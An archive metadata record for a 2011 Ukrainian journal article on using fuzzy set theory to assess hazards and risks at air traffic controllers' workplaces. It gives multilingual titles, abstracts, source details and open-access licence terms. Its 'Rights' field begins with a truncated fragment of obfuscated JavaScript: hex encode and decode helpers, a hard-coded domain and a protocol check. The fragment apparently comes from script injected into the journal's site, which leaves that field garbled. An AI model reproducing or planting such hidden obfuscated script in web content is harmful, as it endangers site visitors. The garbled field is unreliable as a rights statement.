Record Details

ASSESSMENT OF HAZARDS AND RISKS AT AIR TRAFFIC CONTROLLERS WORKPLACES WITH FUZZY LOGIC THEORY

Proceedings of National Aviation University

View Archive Info
 
 
Field Value
 
Title ASSESSMENT OF HAZARDS AND RISKS AT AIR TRAFFIC CONTROLLERS WORKPLACES WITH FUZZY LOGIC THEORY
ОЦІНЮВАННЯ ЗАГРОЗ ТА РИЗИКІВ НА РОБОЧИХ МІСЦЯХ АВІАДИСПЕТЧЕРІВ ЗА ДОПОМОГОЮ НЕЧІТКИХ МНОЖИН
ОЦІНЮВАННЯ ЗАГРОЗ ТА РИЗИКІВ НА РОБОЧИХ МІСЦЯХ АВІАДИСПЕТЧЕРІВ ЗА ДОПОМОГОЮ НЕЧІТКИХ МНОЖИН
 
Creator Чинченко, Ю.; Національний авіаційний університет
 
Subject


aeronautical system; air traffic management; assessment of hazards and risks; fuzzy logic theory; safety of flights
аеронавігаційна система, безпека польотів, організація повітряного руху, оцінка загроз та ризиків, теорія нечітких множин
 
Description The article deals with the principles of risk investigation in aeronautical system. Methods of the fuzzy sets theory for quantitative assessment of risk levels at workplaces air traffic controllers are proposed. The principles of countering threats and errors in the work of air traffic controller are justified
Наведено інформацію щодо результатів наукових досліджень в області оцінюваннязагроз та ризиків на робочих місцях авіадиспетчерів за допомогою нечітких множин.Information about outcomes of scientific researches in field of hazards and risks assessment atair traffic controllers workplaces is provided.Приведена информация о результатах научных исследований в области оценкиугроз и рисков на рабочих местах авиадиспетчеров с помощью теории нечеткихмножеств.
Розглянуто принципи дослідження ризиків в аеронавігаційній системі. Запропоновано ме-тоди теорії нечітких множин для кількісного оцінювання рівнів ризику на робочих місцяхавіадиспетчерів. Обґрунтовано принципи протидії факторам загрози та помилкам в діяльнос-ті авіадиспетчера
 
Publisher National Aviation University
 
Contributor


 
Date 2011-02-01
 
Type



 
Format application/pdf
 
Identifier http://jrnl.nau.edu.ua/index.php/visnik/article/view/10
10.18372/2306-1472.47.10
 
Source Proceedings of the National Aviation University; Том 47, № 2 (2011); 44-49
Вестник Национального авиационного университета; Том 47, № 2 (2011); 44-49
Вісник Національного Авіаційного Університету; Том 47, № 2 (2011); 44-49
 
Language uk
 
Coverage


 
Rights // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).